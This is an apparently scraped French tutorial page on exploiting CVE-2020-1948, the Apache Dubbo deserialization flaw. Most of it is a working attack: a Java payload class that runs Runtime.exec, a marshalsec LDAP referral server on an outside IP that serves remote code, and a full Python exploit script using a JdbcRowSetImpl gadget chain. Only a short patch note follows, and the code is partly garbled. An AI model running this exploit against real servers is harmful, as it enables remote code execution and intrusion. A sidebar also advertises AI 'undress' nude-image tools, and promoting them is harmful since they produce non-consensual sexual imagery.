


Comment analyser la vulnérabilité de désérialisation d'Apache Dubbo
Introduction
Dubbo est un framework de service open source hautes performances et excellent d'Alibaba, qui permet aux applications de réaliser des fonctions de sortie et d'entrée de service via un RPC hautes performances, et peut être intégré de manière transparente au framework Spring. Le système comporte trois fonctions principales, notamment l'invocation de méthodes d'interface à distance, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services.
Vue d'ensemble
Le 23 juin 2020, Apache Dubbo a officiellement publié un avis de risque pour l'exécution de code à distance d'Apache Dubbo. Le numéro de vulnérabilité est CVE-2020-1948 et le niveau de vulnérabilité est : risque élevé. Apache Dubbo est un framework Java RPC open source léger et hautes performances qui offre trois fonctionnalités principales : l'invocation de méthodes à distance orientées interface, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services. Le fournisseur Apache Dubbo présente une vulnérabilité de désérialisation. Un attaquant peut envoyer des noms de services ou des noms de méthodes non reconnus et certaines charges utiles de paramètres malveillants via des requêtes RPC. Lorsque les paramètres malveillants sont désérialisés, cela peut provoquer l'exécution de code à distance.
Versions concernées
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (officiellement plus maintenu)
Configuration de l'environnement
Les versions jdk de l'environnement d'exécution et de l'environnement d'expérience de compilation sont toutes deux 8u121 , Démarrez l'environnement de test
java -jar dubbo.jar
Après le démarrage, il écoutera le port 12345
Récurrence de la vulnérabilité
Empreinte digitale du service :
PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetd
Construisez le poc Nous exécutons ici une commande ping pour vérifier si la commande. peut être exécuté et créer un nouveau calc. java,
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
Compile poc
javac calc.java
Placez le poc compilé (calc.class) dans le répertoire du site Web pour vous assurer que l'hôte vulnérable peut y accéder. Utilisez le projet marshalsec pour démarrer un service proxy ldap et téléchargez marshalsec :
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Démarrez le service proxy LDAP Exécutez cette commande et le service ldap écoutera le port 8086
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
Exécutez le test. script. L'environnement python utilisé dans le test ici est 3.8.0. Installez d'abord le package de dépendances
python3 -m pip install dubbo-py
Contenu du script (Dubbo.py) :
# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
Exécutez le script
python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
. vue dnslog, réception réussie de la demande
Le service ldap peut également voir le transfert de la demande
Bomb Calculator
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return null; } }
Correction de bug
Mise à niveau vers la version 2.7.7 et effectuer la vérification des paramètres selon la méthode du lien suivant
https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
Protocole de remplacement et méthode de désérialisation.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Cet article écrira un exemple détaillé pour parler du développement réel de dubbo+nacos+Spring Boot. Cet article ne couvrira pas trop de connaissances théoriques, mais écrira l'exemple le plus simple pour illustrer comment dubbo peut être intégré à nacos pour créer rapidement un environnement de développement.

Préface Avant de présenter Dubbo, comprenons d'abord les concepts de base : Dubbo est un framework RPC. RPC est un appel de procédure distante (appel de procédure distante). Il est utilisé dans l'architecture d'application unique et l'architecture d'application verticale avant l'architecture distribuée. . Ce sont tous des appels de procédure locale. Il permet à un programme d'appeler une procédure ou une fonction dans un autre espace d'adressage (généralement une autre machine partagée sur un réseau) sans que le programmeur ait à coder explicitement les détails de l'appel à distance. Les appels à distance entre applications d'architecture distribuée nécessitent que le framework RPC rende les appels à distance aussi simples que les appels locaux. Le framework Dubbo possède le composant suivant Consumer, qui appelle le service distant

[[443126]] Permettez-moi de commencer par quelques mots. Je réfléchis souvent à de nombreuses questions techniques du type « pourquoi » lorsque je marche. Parfois, je réfléchis longuement à une question, et ce n'est pas fini tant que je n'arrive pas à convaincre. moi-même de chaque point de la question. Je souhaite donc enregistrer ces réflexions et rédiger un article qui pourra être utilisé comme une nouvelle série. Vous ne pourrez peut-être pas voir le code dans ces articles, mais vous pourrez avoir un aperçu de certains problèmes qui passent facilement inaperçus, ainsi que du « pourquoi » plus profond du problème. Aujourd'hui, nous vous proposons le premier article, pourquoi Dubbo devrait-il être réécrit en Go Dubbo, né à Alibaba et open source en 2011, a traversé 10 ans. En 2019, il a été réécrit en Go et open source. Deux ans plus tard, il est passé de la version originale V1.0.0 à la version V3.0.0.

Si vous maîtrisez déjà Dubbo, cet article ne vous convient pas, mais si vous souhaitez comprendre Dubbo et apprendre Dubbo, il vous convient très bien.

Introduction Dubbo est un framework de service open source hautes performances et excellent d'Alibaba, qui permet aux applications de réaliser des fonctions de sortie et d'entrée de service via un RPC hautes performances, et peut être intégré de manière transparente au framework Spring. Il offre trois fonctionnalités principales : l'invocation de méthodes à distance orientées interface, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services. Présentation Le 23 juin 2020, ApacheDubbo a officiellement publié un avis de risque concernant l'exécution de code à distance ApacheDubbo. Le numéro de vulnérabilité est CVE-2020-1948 et le niveau de vulnérabilité est : risque élevé. ApacheDubbo est un framework JavaRPC open source léger et hautes performances. Il offre trois fonctionnalités principales : à distance orientée interface.

Chers lecteurs, nous vous proposons aujourd’hui un article sur le langage Go de Dubbo. En tant qu'excellent framework de services distribués, Dubbo a été largement utilisé et pris en charge dans le langage Java. Avec le développement rapide du langage Go ces dernières années, de nombreux développeurs se sont vivement intéressés à savoir si Dubbo prend déjà en charge le langage Go. Cet article détaillera la prise en charge par Dubbo du langage Go, les méthodes d'implémentation spécifiques et des exemples de code. J'espère que cela pourra vous aider.

A quoi sert SPI ? Par exemple, nous avons maintenant conçu un nouveau framework de journalisation : "super-logger". Par défaut, les fichiers XML sont utilisés comme fichiers de configuration de notre journal, et une interface pour l'analyse des fichiers de configuration est conçue : packagecom.github.kongwu.spisamples; publicinterfaceSuperLoggerConfiguration{voidconfigure(StringconfigFile);} Ensuite, il existe une implémentation XML par défaut : packagecom .github .kongwu.spisamples;publiccl

Avec le développement continu d’Internet, l’architecture distribuée est devenue l’un des standards du développement d’applications modernes. Pour ce type d’architecture, gérer efficacement les transactions distribuées devient une compétence nécessaire. En tant que base de données de cache basée sur la mémoire, Redis est largement utilisé dans les applications distribuées. Dans les applications distribuées, Dubbo est utilisé comme cadre de service et Redis est utilisé comme base de données de cache pour fournir une prise en charge des données, ce qui peut fournir une lecture et une écriture rapides des données tout en garantissant des performances de service élevées. Cet article présentera en détail l'utilisation de Redis dans Du
